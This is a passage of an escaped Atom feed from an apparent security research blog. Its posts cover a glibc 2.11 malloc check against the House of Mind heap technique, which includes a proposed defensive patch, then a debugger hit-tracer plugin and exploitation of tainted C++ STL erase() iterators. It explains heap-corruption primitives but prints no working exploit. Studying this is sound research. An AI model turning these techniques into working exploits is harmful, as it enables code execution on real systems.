href=&quot;http://cseweb.ucsd.edu/~hovav/papers/s07.html&quot;&gt;http://cseweb.ucsd.edu/~hovav/papers/s07.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;Another JavaScript JIT Spray Presentation:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;a href=&quot;http://www.dsecrg.com/files/pub/pdf/HITB%20-%20JIT-Spray%20Attacks%20and%20Advanced%20Shellcode.pdf&quot;&gt;http://www.dsecrg.com/files/pub/pdf/HITB%20-%20JIT-Spray%20Attacks%20and%20Advanced%20Shellcode.pdf&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/3546154541855125802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/3546154541855125802?isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3546154541855125802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3546154541855125802'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2010/06/its-2010-and-your-browser-has-assembler.html' title='Its 2010 and your browser has an assembler'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-9169744349715260461</id><published>2010-01-26T17:30:00.000-08:00</published><updated>2010-01-27T15:59:14.891-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="heap"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="software"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><title type='text'>Glibc 2.11 stops the House of Mind</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:Georgia, serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;div&gt;I was reading malloc.c from the Glibc 2.11 sources and I noticed a new check in the _int_free() function:&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;pre&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;(malloc.c)&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;[4965]      bck = unsorted_chunks(av);&lt;br /&gt;[4966]      fwd = bck-&gt;fd;&lt;br /&gt;[4967]      if (__builtin_expect (fwd-&gt;bk != bck, 0))&lt;br /&gt;[4968]    {&lt;br /&gt;[4969]      errstr = &quot;free(): corrupted unsorted chunks&quot;;&lt;br /&gt;[4970]      goto errout;&lt;br /&gt;[4971]    }&lt;br /&gt;[4972]      p-&gt;fd = fwd;&lt;br /&gt;[4973]      p-&gt;bk = bck;&lt;br /&gt;[4974]     if (!in_smallbin_range(size))&lt;br /&gt;[4975]    {&lt;br /&gt;[4976]      p-&gt;fd_nextsize = NULL;&lt;br /&gt;[4977]      p-&gt;bk_nextsize = NULL;&lt;br /&gt;[4978]    }&lt;br /&gt;[4979]    bck-&gt;fd = p;&lt;br /&gt;[4980]    fwd-&gt;bk = p;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;white-space: normal; font-family:Georgia, serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;The check starting on line 4967 appears to have &lt;a href=&quot;http://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=516d401991123581c6ac336ae14b44a6d6d5f61f;hp=0b9facefd4e326a46ac4d013094f05db8decc5d0;hb=f6887a0d9a55f5c80c567d9cb153c1c6582410f9;hpb=d0a2af710654a038903dd4a300030670bfbeaa2d&quot;&gt;been&lt;/a&gt; &lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.eglibc.org/cgi-bin/viewcvs.cgi/trunk/libc/malloc/malloc.c?rev=8595&amp;amp;r1=8394&amp;amp;r2=8595&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;added&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; this past June. If you&#39;re not a security person then let me bring you up to date. Corrupting heap meta data traditionally allows you to execute arbitrary code. There are plenty of papers out there you can read to catch up on the subject, but theres one important fact you should be aware of. Most of these techniques no longer work within 1 to 2 years of publication. This is because the libc maintainers add small bits of code like the one above to save you from yourself. This particular new patch is checking to see whether the arena&#39;s bin contains a location that points to a valid chunk. If that check wasn&#39;t there (as is the case in glibc 2.10.1) then the &#39;fwd-&gt;bk = p&#39; line can be used to write the address of &#39;p&#39; anywhere. If that didn&#39;t make sense to you then you&#39;re probably not a glibc maintainer or a neurotic security researcher, consider yourself normal.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;If you&#39;re not familiar with the House of Mind then you should read &#39;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;The Malloc Maleficarum&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&#39; written by Phantasmal Phantasmagoria:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&quot;The method used involves tricking the wrapper invoked by free(),&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;called public_fREe(), into supplying the _int_free() internal&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;function with a designer controlled arena. This can subsequently&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;lead to an arbitrary memory overwrite. A call to free() actually&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;invokes a wrapper called public_fREe():&quot;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;I won&#39;t be covering these techniques in great detail here but essentially what can happen is through a single call to free() on a chunk we can overflow we can fool ptmalloc into using an arena structure we control. Certain members of the arena structure allow for arbitrary code execution to occur if the right conditions can be met. This technique currently still works in Ubuntu 9.10. The short story is: the new validation added to Glibc 2.11 stops the House of Mind technique.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;... or does it?&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;The Malloc Maleficarum covers a second House of Mind technique which, unlike the first one, requires we place our arena at the location we want to overwrite. It still leverages a single call to free() and the trust the allocator has in the arena structure (its also been covered in other papers, see the bottom of this post) but the difference in the second technique is that the arenas &#39;fastbinY&#39; container is used instead of &#39;bins&#39;. This takes _int_free down a different code path, a far less constrained one. However the pointer exchange is not quite the same in this code path and so in order to gain code execution we need to place the start of our arena just before the data we want to overwrite. We can gain control of execution because we get a value of our choice written back to arena-&gt;fastbin[X] It&#39;s not an ideal situation, but it should still work in Glibc 2.11.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;(malloc.c)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;div&gt;[4879] p-&gt;fd = *fb;&lt;/div&gt;&lt;div&gt;[4880] *fb = p; // This is how we get an arbitrary 4 byte overwrite&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Perhaps more importantly then what does work is what will fix it. Because this technique is somewhat unreliable it may not make sense to further burden the allocator with yet another integrity check. But we should explore our options. We could try to stop all arena based attacks by inspecting where the arena itself resides, but this is a rather clumsy way of approaching the problem, and with ASLR enabled, it probably won&#39;t be too successful. A better solution might be to first check whether the chunk &#39;fb&#39; points to contains a valid forward pointer to the next chunk in its list. But fastbin pointers are only singly linked, thus a subsequent check of the next chunks bwk pointer would not work. The reason they are not doubly linked is because they are never removed from these lists and consolidated with other free chunks, this of course helps performance of smaller, frequently allocated/free&#39;d chunks. Another potential fix might be to check the current fastbin (the one that will be overwritten) entries chunk size, because the arena has to be placed near/on the region of memory we want to overwrite, the attacker most likely can not control what the size is. This partially validates that the 1) the location is valid (its mapped) and 2) has a size between 0 and MAX_FASTBIN. It might look something like this:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; border-collapse: collapse; color: rgb(34, 34, 34); font-family:arial, sans-serif;&quot;&gt;&lt;div&gt;--- malloc.c&lt;span style=&quot;white-space: pre; &quot;&gt; &lt;/span&gt;2009-10-30 13:17:08.000000000 -0400&lt;/div&gt;&lt;div&gt;+++ malloc-a.c&lt;span style=&quot;white-space: pre; &quot;&gt; &lt;/span&gt;2010-01-20 08:28:36.000000000 -0500&lt;/div&gt;&lt;div&gt;@@ -4852,6 +4852,12 @@&lt;/div&gt;&lt;div&gt;     set_fastchunks(av);&lt;/div&gt;&lt;div&gt;     fb = &amp;amp;fastbin (av, fastbin_index(size));&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;+&lt;span style=&quot;white-space: pre; &quot;&gt; &lt;/span&gt;if (*fb-&gt;size &gt; get_max_fast())&lt;/div&gt;&lt;div&gt;+&lt;span style=&quot;white-space: pre; &quot;&gt; &lt;/span&gt;{&lt;/div&gt;&lt;div&gt;+&lt;span style=&quot;white-space: pre; &quot;&gt;  &lt;/span&gt;errstr = &quot;invalid fastbin entry (free)&quot;;&lt;/div&gt;&lt;div&gt;+&lt;span style=&quot;white-space: pre; &quot;&gt;  &lt;/span&gt;goto errout;&lt;/div&gt;&lt;div&gt;+&lt;span style=&quot;white-space: pre; &quot;&gt; &lt;/span&gt;}&lt;/div&gt;&lt;div&gt;+&lt;/div&gt;&lt;div&gt; #ifdef ATOMIC_FASTBINS&lt;/div&gt;&lt;div&gt;     mchunkptr fd;&lt;/div&gt;&lt;div&gt;     mchunkptr old = *fb;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;This of course is not fool proof, but its the best I&#39;ve come up with in the short time I&#39;ve thought about it. After a private conversation with a friend of mine who coincidentally happens to be doing some similar research, I&#39;m not sure the integrity of the fastbin can be %100 verified in its current form.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;FWIW: I emailed Glibc maintainers with my idea (as bad as it is) and did not receive a response.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Further reading on the subject:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot; ;font-family:arial;&quot;&gt;&lt;a href=&quot;http://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=516d401991123581c6ac336ae14b44a6d6d5f61f;hp=0b9facefd4e326a46ac4d013094f05db8decc5d0;hb=f6887a0d9a55f5c80c567d9cb153c1c6582410f9;hpb=d0a2af710654a038903dd4a300030670bfbeaa2d&quot;&gt;malloc.c diff&lt;/a&gt; showing the new changes&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;a href=&quot;http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt&quot;&gt;MallocMaleficarum&lt;/a&gt; - The original paper&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;a href=&quot;http://www.awarenetwork.org/etc/alpha/?x=4&quot;&gt;Aware Article&lt;/a&gt; - A good overview of the House of Mind with example code&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;a href=&quot;http://www.milw0rm.com/exploits/6032&quot;&gt;A real exploit&lt;/a&gt; utilizing the first House of Mind &#39;bins&#39; technique&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;a href=&quot;http://phrack.org/issues.html?issue=66&amp;amp;id=10#article&quot;&gt; Malloc DES-Maleficarum&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;a href=&quot;http://phrack.org/issues.html?issue=66&amp;amp;id=6#article&quot;&gt;Yet another free exploitation technique&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:arial;&quot;&gt;&lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf&quot;&gt;Understanding the heap by breaking it&lt;/a&gt; (Justin Ferguson)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/9169744349715260461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/9169744349715260461?isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/9169744349715260461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/9169744349715260461'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2010/01/glibc-211-stops-house-of-mind.html' title='Glibc 2.11 stops the House of Mind'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-752894638547969799</id><published>2009-07-03T07:09:00.000-07:00</published><updated>2009-07-03T07:10:08.465-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="debugging"/><category scheme="http://www.blogger.com/atom/ns#" term="ELF"/><category scheme="http://www.blogger.com/atom/ns#" term="leaf"/><title type='text'>Leaf - Hit Tracing</title><content type='html'>&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;I just posted a new version of the &lt;a href=&quot;http://leafre.googlecode.com/&quot;&gt;Leaf framework&lt;/a&gt;. So I thought this might be a good time to blog on how to write and use a hit tracer using Leaf. Even though it is mostly a static analysis tool, the data it collects during this process is really useful to a debugger. I wanted a debug API and I wanted it fast, so a few versions ago I wrote a quick wrapper to Ptrace and put it into Leaf. It currently has only been tested for x86 Linux so there&#39;s work to be done in making it support BSD. I am always looking into other ways to make the debugging API cleaner, more useful and easier to code with, so please send any suggestions. So lets look at the steps needed to write a plugin that implements a hit tracer.&lt;br /&gt;&lt;br /&gt;Here is what my basic hit tracer, &#39;lhit&#39; (included with Leaf) implements:&lt;br /&gt;&lt;br /&gt;1. LEAF_init() - a mandatory function that must be present in all plugins. You can use it to initialize any private data structures your plugin may need, or you can leave its function body blank.&lt;br /&gt;&lt;br /&gt;2. LEAF_interactive() - this is the plugin hook a debugger would want to call. Ideally you only want *one* plugin calling this, it doesnt make sense to have more then one. If your plugin implements this hook it will be called after all other static analysis if finished, consider it your debugger plugins main()&lt;br /&gt;&lt;br /&gt;3. LEAF_attach(pid_t) - takes a pid_t as its only argument and will attach the debugger to your target process.&lt;br /&gt;&lt;br /&gt;4. LEAF_set_hittracer(pid_t, breakpoints_t, int)  - this is where it gets slightly tricky. Your plugin must declare a structure somewhere of type breakpoints_t. Pass the targets pid, the breakpoints structure and flag (ON/OFF) to this function and Leaf will automatically use the vector of function addresses it collected during static analysis and set breakpoints on each of them. There is no need for your plugin to manage any of this. There is also another function called LEAF_set_breakpoint, which takes a pid_t, a breakpoints_t structure, and the address you want to break on, you can use this for any other manual breakpoints you want to set.&lt;br /&gt;&lt;br /&gt;5. LEAF_cont(pid_t) - this one is pretty self explanitory, it takes a pid_t as its only argument, and instructs the traced program to continue. At this point Leaf will handle calling wait() for you. All you have to do is inspect and handle the signal it returns. If you had used LEAF_set_hittracer and you hit one of the breakpoints it set then you will want to call LEAF_reinstall_breakpoint and Leaf will take care of putting the old instruction back, single stepping and reinstalling the breakpoint for you.&lt;br /&gt;&lt;br /&gt;6. LEAF_get_regs(pid_t, user_regs_struct) - this will retrieve the processes registers for you.&lt;br /&gt;&lt;br /&gt;7. LEAF_detach(pid_t) - will detach Leaf from your process.&lt;br /&gt;&lt;br /&gt;8. LEAF_cleanup() - another mandatory plugin hook which you can use to free memory or close file descriptors, or you can leave it blank.&lt;br /&gt;&lt;br /&gt;You will find an example hit tracer (lhit) which implements all of this in version 0.0.15 of Leaf &lt;a href=&quot;http://leafre.googlecode.com/&quot;&gt;here&lt;/a&gt;. Its not the best hit tracer in the world but it does the job. The debugger internals will be getting an overhaul soon, but the API should stay the same.&lt;br /&gt;&lt;br /&gt;This new version of Leaf also contains my experimental LeafRub plugin which embeds a Ruby interpreter for scripting capabilities. An example LeafRub.rb script is also included, but I&#39;ll blog more about that later.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;&quot; id=&quot;formatbar_Buttons&quot;&gt;&lt;span class=&quot;on down&quot; style=&quot;display: block;&quot; id=&quot;formatbar_CreateLink&quot; title=&quot;Link&quot; onmouseover=&quot;ButtonHoverOn(this);&quot; onmouseout=&quot;ButtonHoverOff(this);&quot; onmouseup=&quot;&quot; onmousedown=&quot;CheckFormatting(event);FormatbarButton(&#39;richeditorframe&#39;, this, 8);ButtonMouseDown(this);&quot;&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/752894638547969799/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/752894638547969799?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/752894638547969799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/752894638547969799'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2009/07/leaf-hit-tracing.html' title='Leaf - Hit Tracing'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-4921107265056238640</id><published>2009-06-20T21:52:00.000-07:00</published><updated>2011-01-16T13:13:19.382-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="c++"/><category scheme="http://www.blogger.com/atom/ns#" term="stl"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilities"/><title type='text'>Fun with erase()</title><content type='html'>Over the last few months I&#39;ve been knee deep in C++, you can view this as good thing or a bad thing, I for one enjoy it. I personally like finding bugs in C++ applications, as they are usually more complex then plain old C and require a bit more thought:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Keeping track of what variables  your destructor will take care of, and which it wont&lt;/li&gt;
&lt;li&gt;Iterators, and what methods invalidate them&lt;/li&gt;
&lt;li&gt;(insert your favorite C++ gotcha here)&lt;/li&gt;
&lt;/ul&gt;While debugging a crash one day it occured to me that the security research community has paid very little attention to the STL and CPPism&#39;s in general. There are a few things out there like TAOSSA&#39;s &lt;a href=&quot;http://taossa.com/index.php/2007/01/03/attacking-delete-and-delete-in-c/&quot;&gt;delete vs delete[]&lt;/a&gt; and of course there is also &lt;a href=&quot;https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=637&quot;&gt;Cert&#39;s secure coding standards&lt;/a&gt;. But there is very little written on exploring STL specific bugs. Maybe its all private and im just not cool enough to see it :/&lt;br /&gt;
&lt;br /&gt;
I decided to document some ways  STL specific bugs may be exploited. The first place I looked was containers, you know vectors/queues/lists etc... Any use of these containers probably means lots of interesting data is being stored, and considering they all have very easy-to-use methods even novice C++ developers were (ab)using them somewhere.&lt;br /&gt;
Most of these methods take in iterators (don&#39;t let the name fool you, they&#39;re just pointers), and tainted iterators have been a known bad thing for a long time (read certs secure coding standards). But where were the exploits? Where were the how-to&#39;s on owning an attacker influenced iterator? I decided to look into it myself.&lt;br /&gt;
I settled on using vectors as my first topic of interest, as they are widely used for their efficiency and ease of use. I further focused my efforts by looking at any method that added/moved/deleted multiple elements of data at a time from a container. The erase method seemed like a good candidate considering the amount of memory copies that take place under the hood.&lt;br /&gt;
The erase method either takes a single position within the container and removes it, or it takes a range supplied by two iterators and deletes the elements within that range. But I needed to see what it looked like under the hood. After navigating the tangled mess that is the GNU C++ templates (this is probably the real reason no one has done a lot of STL security research) I was able to isolate the relevant erase() code and find what I was looking for.&lt;br /&gt;
&lt;b&gt;This is where you are probably getting bored, so I&#39;ll skip ahead and just tell you why you care about any of this.&lt;/b&gt;&lt;br /&gt;
Tainted iterators are a known C++ gotcha that every code auditor should know about, but in certain situations they can lead to very interesting conditions for an exploit writer. The Cert secure coding standard begins to touch on the subject of invalid iterator ranges, but labels their &#39;undefined behavior&#39; as equivalent to a buffer overflow. This is true, however it can be more then that depending onthe STL implementation. When an attacker can control the range iterators passed to erase() he may be able to leak or directly overwrite memory contents or even better he can trick the STL into resizing the container to encapsulate adjacent heap memory (think &#39;other containers&#39;). This opens up all kinds of doors for creative exploitation.&lt;br /&gt;
&lt;br /&gt;
I would love to post those details here, but blogger mangled my write up pretty bad. &lt;a href=&quot;http://code.google.com/p/em386/downloads/detail?name=Exploring_the_STL_Owning_erase.pdf&quot;&gt;So I&#39;ve uploaded it here&lt;/a&gt;. If you spot any inaccurate technical information please &lt;a href=&quot;mailto:chris.rohlf@gmail.com&quot;&gt;let me know&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/4921107265056238640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/4921107265056238640?isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/4921107265056238640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/4921107265056238640'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2009/06/fun-with-erase.html' title='Fun with erase()'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-1288179109246828090</id><published>2009-01-08T00:09:00.000-08:00</published><updated>2009-03-15T00:58:15.233-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="leaf"/><category scheme="http://www.blogger.com/atom/ns#" term="reversing"/><title type='text'>Leaf</title><content type='html'>&lt;span style=&quot;;font-family:verdana;font-size:85%;&quot;  &gt;It&#39;s been awhile since I have posted. This blog is up to almost 500 subscribers somehow.&lt;br /&gt;&lt;br /&gt;I posted a &lt;a 